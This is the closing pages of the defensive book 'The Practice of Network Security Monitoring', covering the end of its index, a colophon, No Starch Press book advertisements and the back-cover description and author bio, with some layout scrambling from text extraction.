limiting access to, 102–103 managing Sguil database configuration of, 108 requirements for server hardware, 76 selecting method to deploy code, 59 as server-plus-sensors system, 56–58, 76 as stand-alone system, 56–57 storage, estimating full content data requirements, 51 updating via command line, 101 via graphical user interface, 100–101 SOCKS proxy, 103–104 sosetup.log, 70 South Carolina, intrusion example, 6–8 SPAN ports, 49, 50 Sphinx, 115–116, 178 Squert, usage of, 173–174 ssh.log, as generated by Bro, 226–227 statistical data, 24–26 Suricata alerts generated by, 169, 174, 325–325, 328 as SO configuration choice, 79 as source of alert data, 28, 115, 164–165 suricata.yaml, 328, 330 Sysinternals PsExec, 189 Syslog-ng, as data delivery tool, 115, 178, 189, 331

T Tcpdump for collecting sample traffic, 268, 280–281, 291 as packet analysis tool, 114 as source of full content data, 16–18 usage of, 116–122 Tcpflow, 229–230, 291–293 Team Cymru, 283 threat-centric security, 199 Threat Stack, 305 threshold.conf, 323, 330 time events to record, 201 importance of, 5 /tmp/ra.conf, 131–132

/tmp/.xkey.log, as logged keystrokes, 253–255 traffic capturing on a client or server, 49 processing, 122, 128 and Tcpdump, 268, 280-281, 291 understanding flow, 35–38 transaction data, 22–23 Tshark, reviewing checksums with, 296–297 reviewing full content data with, 216–218, 249 usage of, 122–128 Twitter, as compromise vector, 238–239 256, 261–262

U Ubuntu, as NSM platform operating system, 59, 64–65, 85–94 UFW (Uncomplicated Firewall), 102–103, 105 Unit 61398. See APT (Advanced Persistent Threat) Universal Coordinated Time (UTC), 62, 70, 118 Unix epoch time, 118 understanding traffic flow, 35–38 UTC (Universal Coordinated Time), 62, 70, 118

V VERIS (Vocabulary for Event Recording and Incident Sharing), 196 virtual private network (VPN), 31, 58, 258 VirusTotal submitting a binary to, 273–275 submitting a hash to, 264–266, 273–274, 288 Visscher, Bamm, 3 Vocabulary for Event Recording and Incident Sharing (VERIS), 196 VPN (virtual private network), 31, 58, 258

Webber, Dustin, 174, 177, 305 weird.log, as generated by Bro, 299 WHOIS as form of metadata, 26–27 as used in Sguil, 164–165 whois, as tool to query Malware Hash Registry, 284 Windows Management Instrumentation Command-line (WMIC), 189 wireless local area network (WLAN), 12–13, 34–35, 38–46, 238, 246 Wireshark counting bytes in session data using, 169 decoding protocols in, 144–145 following streams in, 143–144 modifying default column layout of, 137–140 as packet analysis tool, 18–19 problems when sniffing traffic as root with, 123–124 as source of extracted content data, 19–20 as source of statistical data, 24–26 usage of, 136–147 Wiretap Act, 13 WLAN (wireless local area network), 12–13, 34–35, 38–46, 238, 246 WMIC (Windows Management Instrumentation Command-line), 189 www.testmyids.com, 15–16, 20–23, 28–29, 71, 84, 179

X X forwarding via Secure Shell, 95 Xplico, usage of, 147–153 Xubuntu, as NSM platform operating system, 59–60, 63–65

Y Young, David, 116 YYYY-MM-DD.log, as session data generated by Argus, 129

W Wade, Aaron, 193 waves, for tracking CIRT activity, 200–201 Index

341

The Practice of Network Security Monitoring is set in New Baskerville, TheSansMono Condensed, Futura, and Dogma. This book was printed and bound at Edwards Brothers Malloy in Ann Arbor, Michigan. The paper is 70# Williamsburg Smooth, which is certified by the Sustainable Forestry Initiative (SFI). The book uses a RepKover binding, in which the pages are bound together with a cold-set, flexible glue and the first and last pages of the resulting book block are attached to the cover with tape. The cover is not actually glued to the book’s spine, and when open, the book lies flat and the spine doesn’t crack.

UPDATES Visit http://nostarch.com/nsm/ for updates, errata, and other information.

More no-nonsense books from

NO STARCH PRESS

PRACTICAL MALWARE ANALYSIS

METASPLOIT

The Hands-On Guide to Dissecting Malicious Software

The Penetration Tester’s Guide

FEBRUARY

by DAVID KENNEDY, JIM O’GORMAN, DEVON KEARNS , and MATI AHARONI JULY 2011, 328 PP., $49.95 ISBN 978-1-59327-288-3

HACKING, 2ND EDITION

THE TANGLED WEB

The Art of Exploitation

A Guide to Securing Modern Web Applications

by MICHAEL SIKORSKI and ANDREW HONIG

2012, 800 PP., $59.95 ISBN 978-1-59327-290-6

by JON ERICKSON 2008, 488 PP. W/CD, $49.95 ISBN 978-1-59327-144-2

FEBRUARY

by MICHAL ZALEWSKI NOVEMBER 2011, 320 PP., $49.95 ISBN 978-1-59327-388-0

PRACTICAL PACKET ANALYSIS, 2ND EDITION Using Wireshark to Solve Real-World Network Problems by CHRIS SANDERS JULY 2011, 280 PP., $49.95 ISBN 978-1-59327-266-1

ABSOLUTE OPENBSD, 2ND EDITION Unix for the Practical Paranoid by MICHAEL W. LUCAS 2013, 536 PP., $59.95 ISBN 978-1-59327-476-4

APRIL

PHONE:

EMAIL:

800.420.7240 OR 415.863.9900

SALES @ NOSTARCH.COM

WEB: WWW.NOSTARCH.COM

COLLECT ANALYZE ESCALATE

Network security is not simply about building impenetrable walls — determined attackers will eventually overcome traditional defenses. The most effective computer security strategies integrate network security monitoring (NSM): the collection and analysis of data to help you detect and respond to intrusions. In The Practice of Network Security Monitoring, Mandiant CSO Richard Bejtlich shows you how to use NSM to add a robust layer of protection around your networks — no prior experience required. To help you avoid costly and inflexible solutions, he teaches you how to deploy, build, and run an NSM operation using open source software and vendor-neutral tools. You’ll learn how to: • Determine where to deploy NSM platforms, and size them for the monitored networks • Deploy stand-alone or distributed NSM installations • Use command line and graphical packet analysis tools and NSM consoles

Foreword by Todd Heberlein, Developer of the Network Security Monitor System

• Interpret network evidence from server-side and client-side intrusions • Integrate threat intelligence into NSM software to identify sophisticated adversaries There’s no foolproof way to keep attackers out of your network. But when they get in, you’ll be prepared. The Practice of Network Security Monitoring will show you how to build a security net to detect, contain, and control them. Attacks are inevitable, but losing sensitive data shouldn’t be. ABOUT THE AUTHOR

Richard Bejtlich is Chief Security Officer at Mandiant and was previously Director of Incident Response for General Electric. He is a graduate of Harvard University and the United States Air Force Academy. His previous works include The Tao of Network Security Monitoring, Extrusion Detection, and Real Digital Forensics. He writes on his blog (http://taosecurity.blogspot.com) and on Twitter as @taosecurity.

T H E F I N E ST I N G E E K E N T E RTA I N M E N T ™ w w w.nostarch.com

$49.95 ($52.95 CDN) This book uses RepKover — a durable binding that won’t snap shut.

SHELVE IN: COMPUTERS/SECURITY

“ I L I E F L AT .”